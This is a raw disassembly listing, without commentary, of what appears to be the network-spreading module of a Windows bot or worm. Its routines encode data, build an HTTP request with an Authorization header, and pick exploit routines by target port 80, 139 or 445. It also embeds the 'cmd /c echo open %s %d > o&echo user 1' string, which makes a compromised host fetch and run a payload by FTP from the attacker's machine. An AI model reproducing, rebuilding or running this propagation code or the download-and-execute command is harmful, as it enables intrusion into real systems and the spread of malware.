lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CCE2
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CCE2
lea ecx, [ebp+var_20]
call sub_40CC68
push offset loc_4323B4
lea ecx, [ebp+var_50]
call sub_40CD16
lea ecx, [ebp+var_50]
call sub_40CC68
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40CB34
lea ecx, [ebp+var_58]
call sub_40CC68
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CD7F
lea ecx, [ebp+var_58]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BF70
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CD16
push 4
push offset dword_43203C
lea ecx, [ebp+var_18]
call sub_40CCE2
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CCE2
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CCE2
lea ecx, [ebp+var_18]
call sub_40CC68
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CD33
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CD33
lea ecx, [ebp+var_40]
call sub_40CD43
lea ecx, [ebp+var_18]
call sub_40CBC3
lea ecx, [ebp+var_50]
call sub_40CBC3
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CD33
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CD33
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CD33
lea ecx, [ebp+var_38]
call sub_40CD43
lea ecx, [ebp+var_20]
call sub_40CBC3
lea ecx, [ebp+var_30]
call sub_40CBC3
lea ecx, [ebp+var_40]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CCE2
lea ecx, [ebp+var_28]
call sub_40CC68
push 2
push offset dword_4323A8
lea ecx, [ebp+var_28]
call sub_40CCE2
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CD33
lea ecx, [ebp+var_28]
call sub_40CD43
lea ecx, [ebp+var_38]
call sub_40CBC3
lea ecx, [ebp+var_10]
call sub_40CB2A
lea ecx, [ebp+var_8]
call sub_40CB2A
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_28]
call sub_40CBC3
push offset dword_4323A4
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push offset dword_4323A0
lea ecx, [ebp+var_10]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_8]
call sub_40CBC3
push offset dword_432394
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push (offset loc_43238F+1)
lea ecx, [ebp+var_48]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBC3
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40D100
; ---------------------------------------------------------------------------
loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj
; sub_40CD9E+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40D100: ; CODE XREF: sub_40CD9E+352j
pop edi
pop ebx
leave
retn
sub_40CD9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p
; sub_40D1C8+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call near ptr 71AB1890h
nop
cmp eax, edi
jnz short loc_40D16B
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40D16F
loc_40D16B: ; CODE XREF: sub_40D104+54j
xor eax, eax
jmp short loc_40D17F
; ---------------------------------------------------------------------------
loc_40D16F: ; CODE XREF: sub_40D104+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB9EC
loc_40D17F: ; CODE XREF: sub_40D104+69j
pop edi
pop esi
leave
retn
sub_40D104 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p
; sub_40D1C8+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB9D0
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp eax, 4
jz short loc_40D1AD
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D1AD: ; CODE XREF: sub_40D183+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CBA24
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D183 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p
; ___:0040D716p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D1F1
xor al, al
jmp loc_40D29D
; ---------------------------------------------------------------------------
loc_40D1F1: ; CODE XREF: sub_40D1C8+20j
push ebx
push 0
push esi
call sub_41BF70
push 2Fh
push offset dword_4320CC
push esi
call sub_41CD20
push 8
lea eax, [esi+31h]
push offset dword_4320FC
push eax
mov [esi+2Fh], di
call sub_41CD20
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41CD20
push 6
add ebx, edi
push offset dword_4CE6EC
push ebx
call sub_41CD20
mov ebx, [ebp+arg_0]
push 85h
push offset dword_432044
push ebx
call sub_40D183
add esp, 48h
test al, al
jnz short loc_40D259
loc_40D255: ; CODE XREF: sub_40D1C8+B5j
xor bl, bl
jmp short loc_40D294
; ---------------------------------------------------------------------------
loc_40D259: ; CODE XREF: sub_40D1C8+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
push [ebp+var_4]
push esi
push ebx
call sub_40D183
add esp, 1Ch
test al, al
jz short loc_40D255
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
add esp, 10h
mov bl, 1
loc_40D294: ; CODE XREF: sub_40D1C8+8Fj
push esi
call sub_41BA91
pop ecx
mov al, bl
loc_40D29D: ; CODE XREF: sub_40D1C8+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D1C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2A2 proc near ; CODE XREF: ___:0040D6FCp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432108
push [ebp+arg_0]
nop
call near ptr 71AB1AF4h
cmp eax, 48h
jnz short loc_40D2DD
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D104
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D2DD
cmp [ebp+var_20], 82h
jz short loc_40D2E1
loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj
; sub_40D2A2+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D2E1: ; CODE XREF: sub_40D2A2+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D1C8
add esp, 0Ch
leave
retn
sub_40D2A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427670
call sub_41D174
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427668
fstp [esp+10h+var_10]
call sub_41D055
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41D174
inc eax
leave
retn
sub_40D2F4 endp
; =============== S U B R O U T I N E =======================================
sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p
var_40 = qword ptr -40h
mov eax, offset loc_426AA7
call sub_41D640
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D977
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D2F4
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D382
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D8F2
loc_40D382: ; CODE XREF: sub_40D340+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D49F
mov ebx, [ebp+10h]
loc_40D391: ; CODE XREF: sub_40D340+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D39B
push 3
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D39B: ; CODE XREF: sub_40D340+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D3A5
push 2
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D3A5: ; CODE XREF: sub_40D340+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D3AE
push 1
loc_40D3AD: ; CODE XREF: sub_40D340+59j
; sub_40D340+63j
pop ebx
loc_40D3AE: ; CODE XREF: sub_40D340+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_427680
fstp [esp+40h+var_40]
call sub_41D19B
pop ecx
pop ecx
call sub_41D174
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D3ED
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D3ED: ; CODE XREF: sub_40D340+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D45B
add [ebp-18h], eax
loc_40D43F: ; CODE XREF: sub_40D340+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_432154[eax]
push eax
push 1
call sub_40D774
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D43F
loc_40D45B: ; CODE XREF: sub_40D340+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D479
push dword ptr [ebp+14h]
call sub_41B9C0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D7CD
mov [ebp-18h], edi
loc_40D479: ; CODE XREF: sub_40D340+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D493
sub esi, [ebp-1Ch]
loc_40D484: ; CODE XREF: sub_40D340+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D774
dec esi
jnz short loc_40D484
loc_40D493: ; CODE XREF: sub_40D340+13Fj
cmp [ebp+10h], edi
ja loc_40D391
push 1
pop ebx
loc_40D49F: ; CODE XREF: sub_40D340+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D977
push dword_427678
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D824
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D977
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D340 endp
; =============== S U B R O U T I N E =======================================
sub_40D4E2 proc near ; CODE XREF: ___:0040D6DFp
mov eax, offset loc_426AC4
call sub_41D640
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43DB88
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D340
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BEB5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D52C
xor bl, bl
jmp short loc_40D570
; ---------------------------------------------------------------------------
loc_40D52C: ; CODE XREF: sub_40D4E2+44j
mov ecx, [ebp-18h]
mov eax, offset dword_427688
cmp ecx, ebx
jnz short loc_40D53A
mov ecx, eax
loc_40D53A: ; CODE XREF: sub_40D4E2+54j
cmp [ebp+18h], ebx
jz short loc_40D542
mov eax, [ebp+18h]
loc_40D542: ; CODE XREF: sub_40D4E2+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41C360
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CBA24
cmp eax, esi
jz short loc_40D567
xor bl, bl
jmp short loc_40D569
; ---------------------------------------------------------------------------
loc_40D567: ; CODE XREF: sub_40D4E2+7Fj
mov bl, 1
loc_40D569: ; CODE XREF: sub_40D4E2+83j
push edi
call sub_41BA91
pop ecx
loc_40D570: ; CODE XREF: sub_40D4E2+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D977
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D977
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D4E2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_432300
push eax
call sub_41CD20
add esp, 0Ch
mov eax, offset byte_429108
push eax
push eax
movzx eax, word ptr dword_4CB710
push eax
push dword ptr [ebp+8]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41C360
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_432198
push eax
call sub_40CD9E
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D63B
xor eax, eax
jmp loc_40D767
; ---------------------------------------------------------------------------
loc_40D63B: ; CODE XREF: ___:0040D632j
mov [ebp-0Ch], esi
loc_40D63E: ; CODE XREF: ___:0040D73Ej
test esi, esi
jnz loc_40D744
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D72C
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB9D4
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_40D721
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D6E9
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D977
lea eax, [ebp+0Ch]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D9B3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D4E2
add esp, 1Ch
jmp short loc_40D71E
; ---------------------------------------------------------------------------
loc_40D6E9: ; CODE XREF: ___:0040D6A7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D703
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D2A2
jmp short loc_40D71B
; ---------------------------------------------------------------------------
loc_40D703: ; CODE XREF: ___:0040D6F3j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D721
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D1C8
loc_40D71B: ; CODE XREF: ___:0040D701j
add esp, 0Ch
loc_40D71E: ; CODE XREF: ___:0040D6E7j
movzx esi, al
loc_40D721: ; CODE XREF: ___:0040D69Aj
; ___:0040D70Dj
push ebx
call dword_4CBA6C
test esi, esi
jnz short loc_40D737
loc_40D72C: ; CODE XREF: ___:0040D657j
push 3E8h
nop
call near ptr 2670E97h
loc_40D737: ; CODE XREF: ___:0040D72Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D63E
loc_40D744: ; CODE XREF: ___:0040D640j
lea ecx, [ebp-8]
call sub_40CBC3
test esi, esi
jz short loc_40D765
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40D765: ; CODE XREF: ___:0040D74Ej
mov eax, esi
loc_40D767: ; CODE XREF: ___:0040D636j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A88
loc_40D76C: ; CODE XREF: sub_426A88+3j
; ___:00426AA1j ...
push 1
call sub_40D977
retn
; END OF FUNCTION CHUNK FOR sub_426A88
; =============== S U B R O U T I N E =======================================
sub_40D774 proc near ; CODE XREF: sub_40D340+110p
; sub_40D340+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D78E
call sub_42629A
loc_40D78E: ; CODE XREF: sub_40D774+13j
test ebx, ebx
jbe short loc_40D7C5
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D7C5
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BF70
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D7C5: ; CODE XREF: sub_40D774+1Cj
; sub_40D774+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D774 endp
; =============== S U B R O U T I N E =======================================
sub_40D7CD proc near ; CODE XREF: sub_40D340+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D7E7
call sub_42629A
loc_40D7E7: ; CODE XREF: sub_40D7CD+13j
test ebx, ebx
jbe short loc_40D81C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D81C
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj
; sub_40D7CD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D7CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp
; sub_4261B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D83C
call sub_426173
loc_40D83C: ; CODE XREF: sub_40D824+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D84E
mov esi, [ebp+arg_8]
loc_40D84E: ; CODE XREF: sub_40D824+25j
cmp edi, ebx
jnz short loc_40D870
push dword_427678
add esi, ecx
mov ecx, edi
push esi
call sub_40D9E8
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D9E8
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D870: ; CODE XREF: sub_40D824+2Cj
test esi, esi
jbe short loc_40D8B3
cmp esi, eax
jnz short loc_40D8B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D884
mov eax, offset dword_427688
loc_40D884: ; CODE XREF: sub_40D824+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D8B3
push 1
mov ecx, edi
call sub_40D977
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D89F
mov eax, offset dword_427688
loc_40D89F: ; CODE XREF: sub_40D824+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D8B3: ; CODE XREF: sub_40D824+4Ej
; sub_40D824+52j ...
push 1
push esi
mov ecx, edi
call sub_40D8F2
test al, al
jz short loc_40D8E9
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D8CD
mov eax, offset dword_427688
loc_40D8CD: ; CODE XREF: sub_40D824+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41CD20
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D8E9: ; CODE XREF: sub_40D824+4Aj
; sub_40D824+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D824 endp
; =============== S U B R O U T I N E =======================================
sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp
; sub_40D774+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D904
call sub_42629A
loc_40D904: ; CODE XREF: sub_40D8F2+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D92D
mov al, [ecx-1]
cmp al, dl
jz short loc_40D92D
cmp al, 0FFh
jz short loc_40D92D
cmp edi, edx
jnz short loc_40D968
dec al
push edx
mov [ecx-1], al
loc_40D922: ; CODE XREF: sub_40D8F2+47j
mov ecx, esi
call sub_40D977
loc_40D929: ; CODE XREF: sub_40D8F2+4Bj
; sub_40D8F2+52j
xor al, al
jmp short loc_40D972
; ---------------------------------------------------------------------------
loc_40D92D: ; CODE XREF: sub_40D8F2+19j
; sub_40D8F2+20j ...
cmp edi, edx
jnz short loc_40D946
cmp [esp+8+arg_4], dl
jz short loc_40D93B
push 1
jmp short loc_40D922
; ---------------------------------------------------------------------------
loc_40D93B: ; CODE XREF: sub_40D8F2+43j
cmp ecx, edx
jz short loc_40D929
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D929
; ---------------------------------------------------------------------------
loc_40D946: ; CODE XREF: sub_40D8F2+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D963
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D958
cmp eax, edi
jnb short loc_40D970
loc_40D958: ; CODE XREF: sub_40D8F2+60j
push 1
mov ecx, esi
call sub_40D977
jmp short loc_40D968
; ---------------------------------------------------------------------------
loc_40D963: ; CODE XREF: sub_40D8F2+58j
cmp [esi+0Ch], edi
jnb short loc_40D970
loc_40D968: ; CODE XREF: sub_40D8F2+28j
; sub_40D8F2+6Fj
push edi
mov ecx, esi
call sub_40DA4F
loc_40D970: ; CODE XREF: sub_40D8F2+64j
; sub_40D8F2+74j
mov al, 1
loc_40D972: ; CODE XREF: sub_40D8F2+39j
pop edi
pop esi
retn 8
sub_40D8F2 endp
; =============== S U B R O U T I N E =======================================
sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp
; sub_40D340+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D9A3
mov eax, [esi+4]
test eax, eax
jz short loc_40D9A3
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D99C
cmp al, 0FFh
jz short loc_40D99C
dec al
mov [ecx], al
jmp short loc_40D9A3
; ---------------------------------------------------------------------------
loc_40D99C: ; CODE XREF: sub_40D977+19j
; sub_40D977+1Dj
push ecx
call sub_41D65F
pop ecx
loc_40D9A3: ; CODE XREF: sub_40D977+8j
; sub_40D977+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D977 endp
; =============== S U B R O U T I N E =======================================
sub_40D9B3 proc near ; CODE XREF: ___:0040D6D3p
; sub_40DB0C+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D8F2
test al, al
jz short loc_40D9E1
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D9E1: ; CODE XREF: sub_40D9B3+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p
; sub_40D824+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D9FB
call sub_426173
loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj
mov ecx, edi
call sub_40DB0C
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40DA11
mov ebx, eax
loc_40DA11: ; CODE XREF: sub_40D9E8+25j
test ebx, ebx
jbe short loc_40DA47
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D670
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D8F2
test al, al
jz short loc_40DA47
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj
; sub_40D9E8+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D9E8 endp
; =============== S U B R O U T I N E =======================================
sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p
mov eax, offset loc_426AD0
call sub_41D640
sub esp, 0Ch
push ebx
push esi
push edi
